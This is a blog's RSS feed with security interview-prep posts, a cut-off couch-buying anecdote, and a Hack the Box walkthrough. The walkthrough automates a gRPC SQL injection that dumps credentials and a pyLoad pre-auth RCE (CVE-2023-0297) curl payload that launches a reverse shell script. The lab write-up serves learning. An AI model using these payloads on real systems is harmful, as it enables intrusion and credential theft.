<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anuraag Baishya on Medium]]></title>
        <description><![CDATA[Stories by Anuraag Baishya on Medium]]></description>
        <link>https://medium.com/@anuraagbaishya?source=rss-56bd95ddcf16------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*GZQd--kFXQr6AKptZFJf4A.jpeg</url>
            <title>Stories by Anuraag Baishya on Medium</title>
            <link>https://medium.com/@anuraagbaishya?source=rss-56bd95ddcf16------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 01:39:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anuraagbaishya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tales from my Product Security Job Hunt: Part 2, Preparation]]></title>
            <link>https://medium.com/@anuraagbaishya/tales-from-my-product-security-job-hunt-part-2-preparation-56109dee8a61?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/56109dee8a61</guid>
            <category><![CDATA[study]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[jobs]]></category>
            <category><![CDATA[interview]]></category>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 17:11:29 GMT</pubDate>
            <atom:updated>2024-01-14T17:11:29.504Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JA4_24ZmUKji5Q-zSrXQg.jpeg" /></figure><p>This is part 2 of my interview experience and preparation series, where I will talk about how I prepared for the interviews. Check out part 1 where I talk more about the process and types of interviews <a href="https://medium.com/@anuraagbaishya/tales-from-my-product-security-job-hunt-part-1-interview-types-f5fa49fcd2fd">here</a></p><p>As I mentioned in my previous post, this is catered to my search criteria, which was:</p><ul><li>Experience: Mid-level (~4–5 years of experience)</li><li>Role: Product Security / Application Security</li></ul><p>Even within the roles I was looking for, different openings had slightly different requirements. For example, an application security role for a team/company that has a large mobile application footprint is likely to involve duties related to securing these applications — and therefore, the candidate would be expected to know about mobile application security.</p><p>The responsibilities and therefore the desired skillset also varied with the size/maturity of the company’s security program. In smaller teams, the responsibilities were broader, whereas in larger teams, the responsibilities were more specialized. I mostly applied to roles with more specialized requirements, based on my interests and skillset. I did explore a few roles that had a broader scope, but since my experience and skills are quite specialized in application/product security, I did not fare well in these interviews — and I decided to look for roles where I would be a good fit.</p><p>Most of this post will be specific to roles having one or more of the following as the primary responsibilities:</p><ul><li>Understanding and triaging security issues including root cause analysis.</li><li>Threat modeling and/or security reviews including code reviews.</li><li>Building tooling/automation to detect application security issues.</li></ul><h3>Technical Interviews</h3><p>Most companies had multiple technical interviews, starting with basic technical questions and continuing to more in-depth or domain-specific questions. I spent most of my preparation time preparing for technical interviews. Having 4 years of experience in application security, and therefore being constantly exposed to topics in this space was a big help. My preparation in this area was mainly divided into:</p><ul><li>Topics that I do not work with (or rarely work with).</li><li>Revising theoretical aspects of topics I worked with practically, e.g. TLS handshake or OAuth grants.</li></ul><p>I primarily used the following resources:</p><ul><li><a href="https://portswigger.net/web-security"><strong>Portswigger Web Security Academy</strong></a>: This is by far my most used resource. The academy has detailed lessons on almost all topics you are likely to come across when applying for the type of roles I was looking at. The academy also has labs, which help in solidifying the theoretical understanding from going through the lessons. I concentrated on OWASP top 10/CWE top 25 and issues that are being discussed on the news/x.</li><li><a href="https://tib3rius.com/interview-questions"><strong>Web Security Questions by Tib3rius</strong></a>: A great list of questions of all levels of difficulty.</li><li><strong>News</strong>: I generally read cybersecurity news and this habit helped me with interview prep. I was able to learn about security concepts that are being discussed actively or issues that adversaries are exploiting. I use a few sources for news:<br> — <a href="https://tldrsec.com/">tl;dr sec newsletter</a><br>- Blogs from security research organizations like <a href="https://unit42.paloaltonetworks.com/">Palo Alto Networks Unit 42</a>, <a href="https://googleprojectzero.blogspot.com/">Google Project Zero</a>, <a href="https://blog.assetnote.io/">Assetnote</a>, <a href="https://www.zerodayinitiative.com/blog">Trend Micro ZDI</a>, <a href="https://blog.talosintelligence.com/">Cisco Talos Blog</a>, etc.<br> — Social Media (LinkedIn/X)<br> — Medium blogs</li><li><strong><em>Unconventional</em> Sources</strong>: I also find information related to security using some of these non-conventional sources:<br> — YouTube: Many hackers/security experts make educational videos on a variety of security-related topics. Some of my favorites are: I<a href="https://www.youtube.com/@ippsec">ppSec</a>, <a href="https://www.youtube.com/@LiveOverflow">LiveOverflow</a>, <a href="https://www.youtube.com/@_JohnHammond">John Hammond</a>, <a href="https://www.youtube.com/@BugBountyReportsExplained">Bug Bounty Reports Explained</a>, <a href="https://www.youtube.com/@NahamSec">NahamSec</a><br> — <a href="https://hackerone.com/hacktivity/overview">HackerOne hacktivity</a>: Reading through bug bounty disclosures can provide insights into possible ways to exploit vulnerabilities. Some of the reports are very creative.</li><li><strong>Books</strong>: Although I did not use these books specifically for interview preparation, I have learned a lot from them.<br> — The Tangled Web — Michal Zalewski<br> — Computer Security, A Hands-on Approach — Wenliang Du<br> — The Web Application Hackers Handbook — Dafydd Stuttard and Marcus Pinto<br> — Cryptography and Network Security — William Stallings<br> — The Hacker Playbook — Peter Kim</li><li><strong>Practical Exploitation Practice: </strong>I feel I learn better by doing things. So I try my hand at CTFs or platforms like HackTheBox, TryHackMe, PortSwigger Web Security Academy, and others. I did not do these specifically for the interviews, it is just something I do sometimes to sharpen my skills.</li></ul><h3>Code Review</h3><p>Due to my interest in static analysis, I looked at a lot of code for security flaws at work. This prepared me for the code review interviews. Here are some tips that might be helpful:</p><ul><li>Have a checklist of things to look for. <a href="https://github.com/mgreiler/secure-code-review-checklist">This</a> GitHub repo provides a great list that you can adapt for yourself.</li><li>Practice with some known vulnerable apps. There are many to choose from:<br> — <a href="https://github.com/juice-shop/juice-shop">Juice Shop</a><br> — <a href="https://github.com/digininja/DVWA">DVWA</a><br> — <a href="https://github.com/WebGoat/WebGoat">WebGoat</a><br> — Many more are listed <a href="https://github.com/vavkamil/awesome-vulnerable-apps">here</a></li><li>Semgrep Playground has an option to try out existing rules. The rule test has code that Semgrep will flag, and code it will not. Assuming the rule is correct, the code that Semgrep will flag will be vulnerable, and therefore you can use that to understand vulnerable patterns.</li></ul><h3>Threat Modeling Interview</h3><p>To be good at threat modeling, you will first need to have good technical knowledge. If you know how certain issues can impact systems, when you see a system that has these deficiencies, you can identify the issues. The next step would be to identify a threat modeling process that works best for you. There is no best method, but in my experience the most popular is STRIDE. There are other frameworks too like DREAD or PASTA. You can practice by looking at architectures and enumerating threats in them. You can also take an application (eg: a restaurant reservation system) and list potential threats in such an application.</p><p>Here are some resources to prepare for threat modeling interviews:</p><ul><li><a href="https://shostack.org/resources/threat-modeling">The Ultimate Beginner’s Guide to Threat Modeling</a></li><li><a href="https://owasp.org/www-community/Threat_Modeling_Process">Threat Modeling Process</a></li><li><a href="https://threat-modeling.com/the-ultimate-list-of-stride-threat-examples/">List of example STRIDE threats</a></li><li><a href="https://shostack.org/blog/category/threat-model-thursday">Shostack + Associates “Threat Model Thursday” Series</a></li></ul><h3>Coding Interview</h3><p>I did not prepare much for coding interviews since the roles I was interested in did not have a coding interview. I relied on my coding skills from work or leisure projects to attempt the very few coding interviews I had. There are already many resources on the internet that provide detailed preparation guides for coding interviews. Please refer to them for coding interview guidance.</p><h3>Behavioral Interview</h3><p>Preparing for a behavioral interview involves understanding the format and anticipating questions that assess your past behavior in certain situations. It is important to have personal examples ready for commonly asked behavioral questions. There are many lists of common behavioral questions that you can look at, or you can ask ChatGPT to provide some examples. Using the STAR method is a great way to answer behavioral questions. STAR stands for Situation, Task, Action, and Result. Here’s an example (courtesy of ChatGPT):</p><p><em>Can you provide an example of a time when you had to overcome a significant challenge in a team project?</em></p><p><em>Situation:</em> In my previous role as a project manager, our team was tasked with implementing a new software system within a tight deadline.</p><p><em>Task:</em> One of the key challenges was that we faced unexpected technical issues during the implementation phase, jeopardizing the project timeline.</p><p><em>Action:</em> Recognizing the urgency, I immediately called for a team meeting to discuss the issues openly. I assigned specific tasks to team members based on their expertise, ensuring everyone had a clear role in addressing the technical challenges. Simultaneously, I collaborated with the IT department to expedite troubleshooting.</p><p><em>Result:</em> Through our collaborative efforts, we successfully identified and resolved the technical issues within the deadline. This experience highlighted the importance of effective communication and swift problem-solving. As a result, our team developed stronger bonds and increased our overall efficiency in handling unexpected challenges.</p><h3>Leadership Interviews</h3><p>I am clubbing interviews with the manager, director, or more senior leadership in this section. In general, I felt these were more conversations than interviews — to understand my experiences and interests and to tell me more about the role or the company. Be prepared to answer questions about your experiences and background, why you are looking for a change, and what interests you in the company. It helps to familiarize yourself a little with the products or services the company offers. There might be some technical questions involved. I have already covered above how you can prepare for these.</p><h3>General Tips</h3><p>Some general tips that might help with the preparation or interview:</p><ul><li>Read the job description thoroughly. The technical interviews were almost always related to the responsibilities mentioned in the job description.</li><li>Ask the recruiter about the interview process — how many rounds will be there, what each round will entail, how long you can expect the process to take, and if they have any preparation tips.</li><li>Ask questions to your interviewers. Some examples: what challenges they face, what tasks/projects they find most interesting, why they enjoy working at the company, and so on. If you are speaking with the manager or leadership, ask them about their leadership style, what specific tasks you might work on, how they promote employee growth, and so on.</li><li>Be honest. If you don’t know something, let your interviewer know about it. Take a guess based on what you know — but be sure to inform your interviewer.</li><li>Try to keep calm. Interviews can be nerve-wracking, especially if you feel they are not going well. Even if you are not able to answer anything, keeping calm will let you think much better and take educated guesses. The interviewers might not be expecting you to know everything — and they might want to understand how you think or approach problems.</li><li>Try to free up your schedule at work. Since panel interviews will likely be multiple interviews within a day or two, you will need to have a few hours free on various days. Therefore, plan your work ahead of time. Make sure once you are actively interviewing, you have a good number of available slots.</li><li>Self-analyze your performance after an interview. Determine what areas you did well on and what areas you need to spend more time preparing. The first few interviews for me did not go very well — because I did not know what to expect in terms of questions, and also how well I had prepared. From them, I was able to prepare better for the upcoming interviews.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56109dee8a61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tales from my Product Security Job Hunt: Part 1, Interview Types]]></title>
            <link>https://medium.com/@anuraagbaishya/tales-from-my-product-security-job-hunt-part-1-interview-types-f5fa49fcd2fd?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5fa49fcd2fd</guid>
            <category><![CDATA[interview]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[job-hunting]]></category>
            <category><![CDATA[jobs]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Sun, 07 Jan 2024 17:10:37 GMT</pubDate>
            <atom:updated>2024-01-07T17:10:37.409Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BSQapcZo586hc6h1j8BEsQ.jpeg" /></figure><p>After spending 4 amazing years at Adobe, I recently decided it was time to take the next step in my career. I was fortunate to interview with several companies that varied in terms of their domain, size, or the maturity of their security processes.</p><p>Many of those whom I informed about my decision and/or my interviews were interested in knowing what the process was like and how I prepared. After answering the same questions a few times, I thought it would be helpful to potential job seekers if I documented my experiences. Therefore, I am writing this two-part series that will talk about the types of interviews I attempted, and how I prepared for them. This blog in particular will list the types of interviews. In the next one, I will talk about my preparation and provide some tips that worked for me.</p><p>This list is specifically catered to the type of positions I was interviewing for. The interview rounds you have will vary according to your search criteria. My criteria:</p><ul><li>Experience: Mid-level (~4–5 years of experience)</li><li>Role: Product Security / Application Security</li></ul><h3>Interview Process</h3><p>The interview process varied by company, but the general framework was:</p><ul><li>Recruiter call</li><li>Basic technical interview</li><li>Virtual panel-style interviews</li></ul><p>In some cases, I spoke to the hiring manager before the first technical interview.</p><p>After the basic technical round, the next few rounds were often set up in a “virtual panel” style. This means they were set up concurrently (as opposed to a sequential setup where the next interview is set only if I perform well in the first).</p><p>Since the interview process varies a lot by company. I would recommend speaking with the recruiter regarding the process, specifically how many rounds to expect and what type of interviews they will be.</p><h3>Recruiter call</h3><p>Typically, the first person you’d speak to will be a recruiter. In most cases, this is not an interview. The recruiter provides more information about the job role and the team. They might have a conversation about compensation expectations, visa requirements, and other administrative items. You may ask them for interview preparation guidance too. I have received great pointers regarding areas to concentrate on!</p><p>At times the recruiter also asked very basic security questions. Some questions include:</p><ul><li>What is (XSS, SQLi, CSRF, …, or any other common security issue)?</li><li>Difference between encryption and hashing.</li><li>How to store passwords in a DB.</li></ul><h3>Basic Technical Interview</h3><p>The first interview round was always a basic technical interview. We discussed common security issues and their mitigations (think OWASP top 10). Since I was interviewing for a mid-level position, I was expected to answer in-depth questions about security issues/concepts rather than just the definitions or basic mitigation steps. Some examples of questions I was asked:</p><ul><li>What are the types of XSS? How can you mitigate DOM XSS?</li><li>How can you prevent CSRF in a case where we cannot use CSRF tokens?</li><li>What is the principle behind using prepared statements for SQL injection mitigation?</li><li>If using AES for encryption, which mode would you prefer between ECB, CBC, or GCM, and why?</li><li>Explain a TLS handshake. (This seems to be a favorite amongst interviewers. I think this was the most commonly asked question.)</li><li>What is the same origin policy and how does CORS relate to it? (Another favorite.)</li></ul><p>The basic technical interview occasionally included questions about my resume (the other place where I was asked about my resume was during the manager interview). One of my interviewers and I shared a deep interest in static analysis and supply chain security — so we spent quite a bit of the interview talking about it!</p><h3>Manager Interview</h3><p>I spoke with the hiring manager at the beginning of the application process for most of the roles. However, for a few positions, the manager interview occurred later, specifically during the panel interviews.</p><p>Generally, the conversation was aimed at understanding my general background and experience, and I was provided insights into what tasks I would work on if I joined. The general idea was to make sure my expectations were in line with what the role had to offer and vice-versa. Some included basic technical questions. Others included questions that tested the ability to think of scalable solutions or design initiatives. For eg: I was given some of the challenges the team faced and asked how I would approach them.</p><h3>Deeper Technical Interview</h3><p>Wherever I made it to the next round, I had at least one deeper technical interview. This either consisted of going very deep into one or two common security issues or questions about security issues that are not as common (or not in the OWASP top 10). There might be scenario-based questions or domain-specific questions in this interview too. For eg, if you are applying to a role that requires knowledge of mobile application security, you will likely be asked about mobile-specific items.</p><p>Let’s take an example of XSS. The interviewer might first start with basic XSS questions like types of XSS, the difference between them, and so on. The more technical questions might include:</p><ul><li>If using CSP, how can you still allow some inline JavaScript to run?</li><li>If using CSP nonce, how should the nonce be generated and set?</li><li>Given a code snippet and some disallowed characters, is XSS possible in the scenario? Provide a payload.</li><li>How does output sanitization help in mitigating XSS? Why is it better than input encoding?</li></ul><p>Some other security concepts/issues I was asked about:</p><ul><li>Insecure deserialization (including providing an example in a language of choice).</li><li>XML external entities (XXE).</li><li>NoSQL Injection.</li><li>Memory-based issues (buffer/heap overflow, use after free, double free).</li><li>OAuth and its grant types.</li></ul><h3>Code Review</h3><p>The premise of the code review interview is to understand if by looking at code, you can identify security issues. I have been asked to review code at various stages of the interview process. Most often it is a part of the deeper technical interview. The basic technical interview can also sometimes include some basic code review. At one company, I had a dedicated code review interview. The things I had to look for (or rather, things I found) include XSS, SQL/NoSQL injection, authentication/authorization bypass, and missing security controls.</p><p>Not every code review was in a language I was familiar with, so you might have to read code in a language new to you. For the most part, they were still common languages with syntax I could more or less understand. Whenever I had a language I had not worked with, I informed the interviewer about it. They were happy to answer any language-specific questions I had, e.g. if I was unfamiliar with a certain function or certain way a statement was written. Languages I looked at include Python, Ruby, C, and Java. (One interviewer gave me a choice of Python, JavaScript, and a few others, I chose Python.)</p><h3>Threat Modeling</h3><p>In nearly every company I interviewed with, I had to threat model a given system. Sometimes it was included in the deeper technical interview, other times it was a dedicated interview. I encountered two kinds of threat modeling questions:</p><ul><li>Abstract — I was asked to list potential threats in an application (eg: restaurant reservation system). This did not include any diagrams or workflows. My approach here was to list potential issues — and ask the interviewer if they wanted me to elaborate on anything. Based on what I listed, the interviewers asked me follow-up questions.</li><li>Specific — I was given either architecture diagrams or sequence diagrams and sometimes implementation details and I had to find issues that exist in the given service. The service in question would be much smaller in scope as compared to the abstract case (eg: the service in the restaurant reservation system that takes input from restaurants and generates the listing for users). In this case, I could not just list potential issues in the service. I had to show how the malicious payload might enter the system, where it would be triggered, and what parts it would impact.</li></ul><p>The interviewer might add additional scenarios or caveats to the service after the initial walkthrough. Some interviewers asked me to conduct the threat modeling as if I were working with a software engineer who was building the given service, and I was performing the security review. This meant I had to ask questions about the service or provide recommendations without using too much security jargon.</p><h3>Behavioral</h3><p>Almost all companies had a behavioral round. Some had multiple rounds. I was asked general behavioral questions like:</p><ul><li>Can you give an example of a project or task that didn’t go as planned? What did you do to address the issues and what was the outcome?</li><li>Tell me about a time when you had to adapt to a major change at work. How did you approach it?</li><li>Give me an example of a time when you had to prioritize multiple tasks or projects. How did you decide what to focus on first?</li><li>Describe a time when you had to learn a new skill or technology quickly. How did you go about it, and how did it impact your work?</li><li>Can you share a situation where you faced a challenging problem at work? What steps did you take to analyze and solve it?</li></ul><p>Generally, these interviews were taken by someone not on the immediate team I was applying for.</p><h3>Coding</h3><p>I have seen coding rounds being asked for roles that require building tooling or implementing security features. Since I was not looking for a role like that, most companies I applied to did not have a coding round. In the few that had, the questions were of two types:</p><ul><li>Leetcode easy/easy-medium type questions.</li><li>General scripting questions that tested familiarity with a language of choice.</li></ul><p>My understanding, from the explanations of the interviewers, is that they had a few projects that required some amount of coding so they wanted a candidate who was comfortable writing small scripts or building simple automated tools. They were not looking for a very proficient coder since coding was a small part of the responsibilities.</p><h3>Director / Leadership Conversations</h3><p>More often than not, I had the opportunity to speak to the director of the team that was hiring. This was much later in the interview process, typically after I had completed the technical rounds. It was similar to the conversation with the manager — questions about my background and what I was looking for in my next role.</p><p>In a few rare instances, I had conversations with senior leadership including CTOs and/or CISOs. Although I was very nervous about speaking to senior leadership — they usually just wanted to get to know me and what I was looking for role / career-wise.</p><h3>Fun/Interesting questions</h3><p>During my interviews, I was asked some fun/interesting questions. These don’t fall into any one interview in particular. They are not difficult questions, just things I was not prepared to answer or had never thought about — so they caught me slightly off guard.</p><ul><li>What is your favorite security vulnerability to work on?</li><li>What is the last thing you learned? (The interviewer specified it did not have to be security or tech-related, I still spoke about some CVE…)</li><li>What is something that you can teach me in the next 2 minutes (Again, the interviewer did not want a security or tech-related answer. If you know any party tricks, they will probably be a hit! I sadly did not know any.)</li><li>Questions about my hobbies: It is possible that you and your interviewer share hobbies. I did, and I was asked about some specifics. Since I was not expecting a question about my hobbies, it took me a few moments to gather my thoughts.</li></ul><p>I hope you found this useful. Do check out part 2, where I talk more about the interview prep. If you have any questions or need any help with interview prep, don’t hesitate to reach out to me (preferably on LinkedIn).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5fa49fcd2fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box — PC, but automated]]></title>
            <link>https://medium.com/@anuraagbaishya/hack-the-box-pc-but-automated-ed6db64d0ac9?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed6db64d0ac9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Tue, 07 Nov 2023 03:36:04 GMT</pubDate>
            <atom:updated>2023-11-07T03:47:15.328Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack the Box — PC, but automated</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alKT5TpqbEa7V3U5owfsiw.png" /></figure><p>PC is an easy Linux box that has a grpc service and a vulnerable version of an application running on it. While doing this box, I had gone to the forums for a hint, and I saw a comment that said something along the lines of “I wrote a script that can solve this box”. I found this quite intriguing and decided to write a script that could solve the box myself.</p><p><em>Note 1: This is not a proper write-up of the PC box. There is already an official write-up by the creator of the box which is very thorough and explains all the details of the box. There are many unofficial writeups as well. There’s also ippsec’s video on his channel.</em></p><p><em>Note 2: This script only automates the steps that need to be taken to get the flags. It does not automate the looking for the vulnerabilities part. After I completed the box, I automated the steps I took to get the flags.</em></p><p>The complete code for this script can be found on <a href="https://github.com/anuraagbaishya/htb-pc">Github</a>.</p><h3>Setup grpc</h3><p>The box is running a grpc service on port 50051. Therefore, to interact with the service, we need a grpc client. I followed a <a href="https://grpc.io/docs/languages/python/basics/">tutorial</a> on how to create a grpc client using thegrpcio-tools Python library. The first step was to define the service in a .proto file. My service definition is <a href="https://github.com/anuraagbaishya/htb-pc/blob/main/SimpleApp.proto">here</a>. Once the service is defined grpcio-tools can generate the client code for you. You can use a command like this:</p><pre>$ python -m grpc_tools.protoc -I../../protos --python_out=. --pyi_out=. --grpc_python_out=. SimpleApp.proto</pre><p>For me, this generated 2 additional files, <a href="https://github.com/anuraagbaishya/htb-pc/blob/main/SimpleApp_pb2.py">SimpleApp_pb2</a>.py and <a href="https://github.com/anuraagbaishya/htb-pc/blob/main/SimpleApp_pb2_grpc.py">SimpleApp_pb2_grpc.py</a> . I will not explain what these files do here, since that itself is a lengthy topic of discussion. If you are curious, the tutorial link I added earlier has a lot of resources to understand grpc and how it works.</p><p>Once we have the required files generated, we can connect to the grpc service:</p><pre>def _setup_grpc(self):<br>    channel = grpc.insecure_channel(f&quot;{self.host}:{self.grpc_port}&quot;)<br>    stub = pb2_grpc.SimpleAppStub(channel)<br><br>    return stub</pre><p>Here pb2_grpc contains the client and server classes corresponding to protobuf-defined grpc services.</p><h3>SQL Injection in grpc</h3><p>The grpc service exposes a getInfoRequest which takes an id parameter. It then uses the id to make an SQL query. The id parameter is vulnerable to SQL injection. We can exploit it by making a query like:</p><pre>query = &quot;62 UNION SELECT name FROM sqlite_master where type=&#39;table&#39;&quot;<br>pb2.getInfoRequest(id=query) </pre><p>Here pb2is the protobuf client we will use to interact with the grpc service. The above request will get the tables from sqlite_master .</p><p>This does not work out of the box, however. It requires an admin token to be sent as metadata. We can obtain the token by sending a LoginUserRequest . The username/password is conveniently set to admin/admin.</p><pre>def _get_token(self):<br>    user = pb2.LoginUserRequest(username=&quot;admin&quot;, password=&quot;admin&quot;)<br>    _, call = self.stub.LoginUser.with_call(user)<br>    metadata = call.trailing_metadata()<br>    token = metadata[0].value[2:-1]<br><br>    return token</pre><p>Once I had the token, I could make the getInfoRequest request and get the user details. To get the user details, I first got the table name, then the columns in the table, and finally queried all the columns of the table.</p><pre>def _get_users(self) -&gt; dict:<br>    print(&quot;Getting users&quot;)<br><br>    query = &quot;62 UNION SELECT name FROM sqlite_master where type=&#39;table&#39;&quot;<br>    table = self._sql_injection_request(query)<br><br>    query = f&quot;62 UNION SELECT GROUP_CONCAT(name) FROM pragma_table_info(&#39;{table}&#39;)&quot;<br>    cols = self._sql_injection_request(query)<br><br>    res = []<br>    for col in cols.split(&quot;,&quot;):<br>        query = f&quot;62 UNION SELECT GROUP_CONCAT({col}) FROM {table}&quot;<br>        r = self._sql_injection_request(query)<br>        res.append(r.split(&quot;,&quot;))<br><br>    usernames = res[0]<br>    passwords = res[1]<br><br>    users = []<br>    for i in range(len(usernames)):<br>        users.append({&quot;username&quot;: usernames[i], &quot;password&quot;: passwords[i]})<br><br>    print(&quot;Users found&quot;)<br>    print(json.dumps(users))<br><br>    return users</pre><p>The _sql_injection_request function is defined as:</p><pre>def _sql_injection_request(self, query):<br>    metadata = ((&quot;token&quot;, self.token),)<br>    id_request = pb2.getInfoRequest(id=query)<br>    r = self.stub.getInfo.with_call(id_request, metadata=metadata)<br>    return r[0].message</pre><h3>Getting user flag</h3><p>The user list has a user sau , who has SSH access to the machine. The next step is to start an SSH session and read the user flag stored at /home/sau/user.txt . This is quite straightforward. I created a simple SSH Client using the paramiko library and executed cat /home/sau/user.txt :</p><pre>def exec_command(self, command):<br>    ssh_stdin, ssh_stdout, ssh_stderr = self.client.exec_command(command)<br>    return ssh_stdout.read().decode(&quot;utf-8&quot;)</pre><h3>PyLoad CVE</h3><p>PyLoad is an open-source download manager. PyLoad versions prior to 0.5.0b3.dev31 are vulnerable to pre-auth RCE (CVE-2023–0297). There are many available exploits for this vulnerability. You can read more about the vulnerability and the exploit <a href="https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad">here</a>.</p><p>The vulnerability allows us to execute a payload like this:</p><pre>curl -i -s -k -X $&#39;POST&#39; \<br>--data-binary<br>$&#39;jk=pyimport%20os;os.system(\&quot;bash%20/home/sau/shell.sh\&quot;);f=function%20f2()<br>{};&amp;package=xxx&amp;crypted=AAAA&amp;&amp;passwords=aaaa&#39; \<br>$&#39;http://localhost:8000/flash/addcrypted2&#39;</pre><p>Here, I am running a script called <a href="https://github.com/anuraagbaishya/htb-pc/blob/main/shell.sh">shell.sh</a> which is just a bash reverse shell.</p><p>PyLoad on this box is not available publicly. It can only be accessed from within the box. The official write-up uses SSH tunneling to tunnel from the user’s machine to the box. I chose the alternative option of running the exploit from within the SSH session, using the same exec_command function I used to read the user flag.</p><p>I used SFTP to transfer the reverse shell to the box:</p><pre>def transfer_file_from_local(self):<br>    ftp_client = self.client.open_sftp()<br>    ftp_client.put(&quot;shell.sh&quot;, &quot;/home/sau/shell.sh&quot;)</pre><p>The last step is to start a reverse shell listener and then read the root flag from within the reverse shell session. For this, I created a simple <a href="https://github.com/anuraagbaishya/htb-pc/blob/main/revsh.py">socket client</a> which listens for a connection and then performs cat /root/root.txt .</p><p>I ran both the exploitation script and the socket client as two separate processes using a shell script:</p><pre>#! /bin/bash<br><br>python auto_exploit.py &amp;<br>python revsh.py</pre><p>It might (should) be possible to run the exploitation part and socket listener as separate threads of the same process. I tried for a bit, but it didn’t work and I just chose the easy way out.</p><p>Running the runner script, I got both the user and root flags:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*JanlaB2B-pCDSa6Pvgp89w.jpeg" /></figure><h3>Closing Thoughts</h3><p>This experiment was a lot of fun. After completing this box, I pondered over what makes a box scriptable. I think the correct answer is — all boxes are scriptable if one is willing to persevere. The more practical questions what makes a box <em>easy to script. </em>I have come up with these criteria:</p><ol><li>Requires little to no UI interaction like clicking buttons, filing forms, etc that cannot be replicated using direct web / API calls. It might be possible to replicate these functionalities using selenium or similar — but that increases the complexity of the script.</li><li>Related to the above — requires performing operations using some software running on one of the open ports or the machine. These might be web UIs or even CLI programs installed in the box.</li><li>Has a lot of steps / requires running a lot of tools. The time required to create the script will be directly proportionate to the number of steps.</li></ol><p>This was the first (and only) box I have tried to script. I have done a few other boxes after this one, but I did not spend time trying to script them because of one of the above reasons. As I complete more boxes, I will continue to assess if the box is easy to script. If yes, great! If not, it may have to do with one of the above reasons, or I might have some other new reasons.</p><p>That’s it from me. This is my 2023 contribution to my blog. I will not promise anything else here till a really long time has passed since this publication. I usually don’t work on technical things during my free time. Most (if not all) of the security work I do is by virtue of my employment. Therefore, there usually is not much for me to share.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed6db64d0ac9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adventures in couch buying]]></title>
            <link>https://medium.com/@anuraagbaishya/adventures-in-couch-buying-533fd3755eea?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/533fd3755eea</guid>
            <category><![CDATA[amazon]]></category>
            <category><![CDATA[furniture]]></category>
            <category><![CDATA[shopping]]></category>
            <category><![CDATA[adventure]]></category>
            <category><![CDATA[funny]]></category>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Thu, 30 Jul 2020 05:43:58 GMT</pubDate>
            <atom:updated>2020-07-30T05:49:37.115Z</atom:updated>
            <content:encoded><![CDATA[<p>Buying furniture online should be a simple task. Search for the item, place an order, receive it in a week or so. But if luck is not on your side, this can be, well for the lack of a better word, an adventure.</p><p>I have had my current apartment for a little over 6 months now. And for all this time, my living room was bare. Therefore, I and my roommate decided that keeping it that way was a waste of space and rent. So we decided to fill it up a little. The most necessary item in a living room seemed to be a couch, and that was what we agreed to start our living room furniture journey with. We set a budget of $300 (yes, its not the much, but we weren’t looking for something grand either) and forgot about it for a few days.</p><p>One fine day, I was pretty bored and jobless (as I suppose most people these days are) and to entertain myself, I was watching some videos on YouTube, when I see an ad. For Wayfair. Now, I am not a fan of ads, and all the privacy (or lack thereof) implications of the ad business, but by God, was this ad really relevant. 5 minutes later I am on Wayfair looking for a couch. 15 minutes later I have Amazon, Home Depot, Walmart, Crate &amp; Barell and 20 other sites open looking for a couch. I admit, it was a good way to kill time. So after spending much more time than I am willing to accept, I found some 4 couches and sent them to my roommate for his opinion. We decided on one and I made a mental note to place the order the next morning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_E-YWIBODEHaVobxCUFneQ.png" /></figure><p>Morning came and went, and a couple days passed in between too. I forgot about the couch yet again. This time however I did not need an ad for Wayfair to remind me. I somehow decided it would be nice to decorate my room and went Amazon shopping for lights, room fresheners, and the likes. Now Amazon homepage has this tile which says browsing history. The last thing I had looked at was the couch. I was like ‘oh, I had to order the couch 